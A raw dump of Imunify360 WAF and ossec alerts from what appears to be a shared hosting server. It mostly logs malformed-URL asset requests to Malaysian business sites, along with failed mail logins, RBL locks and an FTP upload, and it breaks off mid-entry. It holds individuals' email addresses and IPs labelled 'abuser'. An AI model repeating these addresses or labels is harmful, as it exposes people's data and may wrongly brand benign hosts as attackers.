IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.box.com.my/wp-content/plugins/contact-form-7/includes/js/index.js?ver=6.1.4 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.144
country_id: 1880251
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.box.com.my/wp-content/plugins/woocommerce/assets/js/js-cookie/js.cookie.min.js?ver=2.1.4-wc.10.4.3 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.134
country_id: 1880251
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.box.com.my/wp-content/themes/astra/assets/css/minified/main.min.css?ver=4.12.0 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.148
country_id: 1880251
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.box.com.my/wp-includes/js/dist/hooks.min.js?ver=dd5603f07f9220ed27f1 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.129
country_id: 1880251
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.box.com.my/wp-content/themes/astra/assets/css/minified/compatibility/woocommerce/woocommerce-grid.min.css?ver=4.12.0 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.147
country_id: 1880251
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.box.com.my/wp-includes/js/dist/vendor/wp-polyfill.min.js?ver=3.15.0 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 197.185.157.161
country_id: 953987
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.box.com.my/product/shipping-box-mini-standard-duty-21x15x15cm/ HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.145
country_id: 1880251
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.box.com.my/wp-content/themes/astra/assets/css/minified/compatibility/contact-form-7-main.min.css?ver=4.12.0 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.156
country_id: 1880251
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.box.com.my/wp-includes/js/jquery/jquery.min.js?ver=3.7.1 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.149
country_id: 1880251
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.box.com.my/wp-content/plugins/woocommerce/assets/js/jquery-blockui/jquery.blockUI.min.js?ver=2.7.0-wc.10.4.3 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.231.186.48
country_id: 1562822
domain: geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/geminiflourmill.com/images/c-15.png HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.140
country_id: 1880251
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.box.com.my/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.153
country_id: 1880251
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.box.com.my/wp-content/plugins/woocommerce/assets/client/blocks/wc-blocks.css?ver=wc-10.4.3 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.132
country_id: 1880251
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.box.com.my/wp-content/themes/astra/assets/js/minified/frontend.min.js?ver=4.12.0 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.139
country_id: 1880251
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.box.com.my/wp-content/plugins/contact-form-7/includes/swv/js/index.js?ver=6.1.4 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.106.31.158
country_id: 99237
domain: agpc.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/agpc.org.my/100-days-fast-to-feast-in-his-presence/ HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.182
country_id: 1880251
domain: masaakisb.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/masaakisb.com/wp-content/uploads/porto_styles/bootstrap.css?ver=6.1.2 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.141
country_id: 1880251
domain: masaakisb.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/masaakisb.com/wp-includes/css/dist/block-library/style.min.css?ver=6.4.7 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.190
country_id: 1880251
domain: masaakisb.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/masaakisb.com/wp-content/uploads/porto_styles/shortcodes.css?ver=6.1.2 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.169
country_id: 1880251
domain: masaakisb.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/masaakisb.com/wp-content/uploads/porto_styles/dynamic_style.css?ver=6.1.2 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.168
country_id: 1880251
domain: masaakisb.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/masaakisb.com/wp-content/uploads/porto_styles/js_composer.css?ver=6.1.2 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.218
country_id: 1880251
domain: masaakisb.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/masaakisb.com/wp-content/themes/porto-child/style.css?ver=6.4.7 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.251
country_id: 1880251
domain: masaakisb.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/masaakisb.com/wp-content/themes/porto/css/plugins_optimized.css?ver=6.4.7 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.226
country_id: 1880251
domain: masaakisb.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/masaakisb.com/wp-content/themes/porto/fonts/fontawesome_optimized/fa-solid-900.woff2 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.159
country_id: 1880251
domain: masaakisb.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/masaakisb.com/wp-content/plugins/revslider/sr6/assets/css/rs6.css?ver=6.7.18 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.244
country_id: 1880251
domain: masaakisb.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/masaakisb.com/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.9.3 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.192
country_id: 1880251
domain: masaakisb.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/masaakisb.com/wp-content/themes/porto/fonts/fontawesome_optimized/fa-regular-400.woff2 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.204
country_id: 1880251
domain: masaakisb.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/masaakisb.com/wp-content/themes/porto/fonts/fontawesome_optimized/fa-brands-400.woff2 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 5.31.254.151
country_id: 290557
domain: masaakisb.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/masaakisb.com/products/masaaki-bokashi/ HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.154
country_id: 1880251
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.box.com.my/wp-content/plugins/jetpack/jetpack_vendor/automattic/woocommerce-analytics/build/woocommerce-analytics-client.js?minify=false&ver=75adc3c1e2933e2c8c6a HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.193
country_id: 1880251
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.box.com.my/wp-content/plugins/woocommerce/assets/js/sourcebuster/sourcebuster.min.js?ver=10.4.3 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.204
country_id: 1880251
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.box.com.my/wp-content/plugins/woo-discount-rules/v2/Assets/Js/awdr-dynamic-price.js?ver=2.6.13 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.196
country_id: 1880251
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.box.com.my/wp-content/plugins/woocommerce/assets/js/frontend/add-to-cart.min.js?ver=10.4.3 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.133
country_id: 1880251
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.box.com.my/wp-content/plugins/woocommerce/assets/js/frontend/order-attribution.min.js?ver=10.4.3 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.226
country_id: 1880251
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.box.com.my/wp-includes/css/dist/block-library/style.min.css?ver=6.9 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.184
country_id: 1880251
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.box.com.my/wp-includes/js/dist/i18n.min.js?ver=c26c3dc7bed366793375 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.54
country_id: 690791
description:
2026-01-14 19:03:20 H=([45.144.212.54]) [45.144.212.54]:59152 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<r.ying@ktb-europe.com> rejected RCPT <azman@ajplantations.com.my>: No Such User Here"


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.151.182.14
country_id: 2750405
description:
Jan 14 19:08:52 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.151.182.14 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.151.182.22
country_id: 2750405
description:
Jan 14 19:08:53 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.151.182.22 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.151.182.18
country_id: 2750405
description:
Jan 14 19:08:53 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.151.182.18 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 71.230.228.16
country_id: 6252001
description:
Jan 14 19:09:02 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 71.230.228.16 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.230.228.16
country_id: 6252001
description:
2026-01-14 19:09:04 dovecot_plain authenticator failed for H=c-71-230-228-16.hsd1.de.comcast.net (karobal) [71.230.228.16]:56558: 535 Incorrect authentication data (set_id=jeffrey.hong@tujusetia.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 73.144.27.228
country_id: 6252001
description:
Jan 14 19:10:28 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 73.144.27.228 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.144.27.228
country_id: 6252001
description:
2026-01-14 19:10:30 dovecot_plain authenticator failed for H=c-73-144-27-228.hsd1.mi.comcast.net (vrose) [73.144.27.228]:38394: 535 Incorrect authentication data (set_id=shirley.wong@tujusetia.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.235.164.82
country_id: 3469034
description:
Jan 14 19:12:54 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.235.164.82 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.235.164.82
country_id: 3469034
description:
2026-01-14 19:12:56 dovecot_login authenticator failed for H=(213.5.130.98) [45.235.164.82]:55258: 535 Incorrect authentication data (set_id=hew.chinkuen@manforce.net)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 23.98.142.182
country_id: 6252001
domain: www.oxbold.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/134.0.6998.35 Safari/537.36||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 31.57.43.76
country_id: 2921044
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:19-14.31.57.43.76||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 152.59.145.239
country_id: 1269750
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=62511515979613 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-14 19:21:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:57534: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-14 19:21:10 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:57535: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 14 19:22:44 sv3 pure-ftpd[2411481]: (?@113.211.215.143) [INFO] New connection from 113.211.215.143


plugin: ossec
rule: 11305
name: Attempt to access invalid directory
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 14 19:22:46 sv3 pure-ftpd[2411481]: (eminent@113.211.215.143) [INFO] Can't change directory to /42.0.28.63: No such file or directory


plugin: ossec
rule: 11313
name: FTP file uploaded to server
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 14 19:23:01 sv3 pure-ftpd[2411506]: (eminent@113.211.215.143) [NOTICE] /home/eminent//public_html/folder/RHB1050_PMR_MGM_2026_edm/premier_edm.html uploaded  (45996 bytes, 1365.00KB/sec)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.213.176.10
country_id: 192950
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=38451515570804 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.23.238.139
country_id: 1269750
description:
2026-01-14 19:23:51 dovecot_login authenticator failed for H=(213.5.130.96) [103.23.238.139]:42051: 535 Incorrect authentication data (set_id=hew.chinkuen@manforce.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.220
country_id: 1880251
domain: www.cordage.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.cordage.com.my/revolution/js/jquery.themepunch.tools.min.js HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.132
country_id: 1880251
domain: www.cordage.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.cordage.com.my/js/main.js HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.228
country_id: 1880251
domain: www.cordage.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.cordage.com.my/js/justified-gallery.min.js HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.174
country_id: 1880251
domain: www.cordage.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.cordage.com.my/js/skill.bars.jquery.js HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.146
country_id: 1880251
domain: www.cordage.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.cordage.com.my/js/modernizr.js HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.184
country_id: 1880251
domain: www.cordage.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.cordage.com.my/css/et-line-icons.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.145
country_id: 1880251
domain: www.cordage.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.cordage.com.my/js/skrollr.min.js HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.218
country_id: 1880251
domain: www.cordage.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.cordage.com.my/js/isotope.pkgd.min.js HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.150
country_id: 1880251
domain: www.cordage.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.cordage.com.my/js/smooth-scroll.js HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.140
country_id: 1880251
domain: www.cordage.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.cordage.com.my/css/font-awesome.min.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.143
country_id: 1880251
domain: www.cordage.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.cordage.com.my/js/page-scroll.js HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.243
country_id: 1880251
domain: www.cordage.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.cordage.com.my/css/themify-icons.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.160
country_id: 1880251
domain: www.cordage.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.cordage.com.my/js/jquery.js HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.182
country_id: 1880251
domain: www.cordage.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.cordage.com.my/js/jquery.stellar.js HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.249
country_id: 1880251
domain: www.cordage.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.cordage.com.my/revolution/css/layers.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.202
country_id: 1880251
domain: www.cordage.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.cordage.com.my/css/magnific-popup.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.139
country_id: 1880251
domain: www.cordage.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.cordage.com.my/js/jquery.easing.1.3.js HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.134
country_id: 1880251
domain: www.cordage.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.cordage.com.my/js/hamburger-menu.js HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.162
country_id: 1880251
domain: www.cordage.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.cordage.com.my/js/jquery.easypiechart.min.js HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.226
country_id: 1880251
domain: www.cordage.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.cordage.com.my/js/retina.min.js HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.231
country_id: 1880251
domain: www.cordage.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.cordage.com.my/js/jquery.fitvids.js HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.172
country_id: 1880251
domain: www.cordage.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.cordage.com.my/js/swiper.min.js HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.198
country_id: 1880251
domain: www.cordage.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.cordage.com.my/js/counter.js HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.199
country_id: 1880251
domain: www.cordage.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.cordage.com.my/revolution/js/jquery.themepunch.revolution.min.js HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.165
country_id: 1880251
domain: www.cordage.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.cordage.com.my/revolution/css/settings.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.241
country_id: 1880251
domain: www.cordage.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.cordage.com.my/css/swiper.min.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.204
country_id: 1880251
domain: www.cordage.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.cordage.com.my/css/bootstrap.min.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.144
country_id: 1880251
domain: www.cordage.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.cordage.com.my/css/animate.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.137.8.130
country_id: 6252001
domain: www.cordage.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.cordage.com.my/about-us.php HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.252
country_id: 1880251
domain: www.cordage.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.cordage.com.my/css/justified-gallery.min.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.217
country_id: 1880251
domain: www.cordage.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.cordage.com.my/fonts/fa-brands-400.woff2 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.221
country_id: 1880251
domain: www.cordage.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.cordage.com.my/js/bootsnav.js HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.234
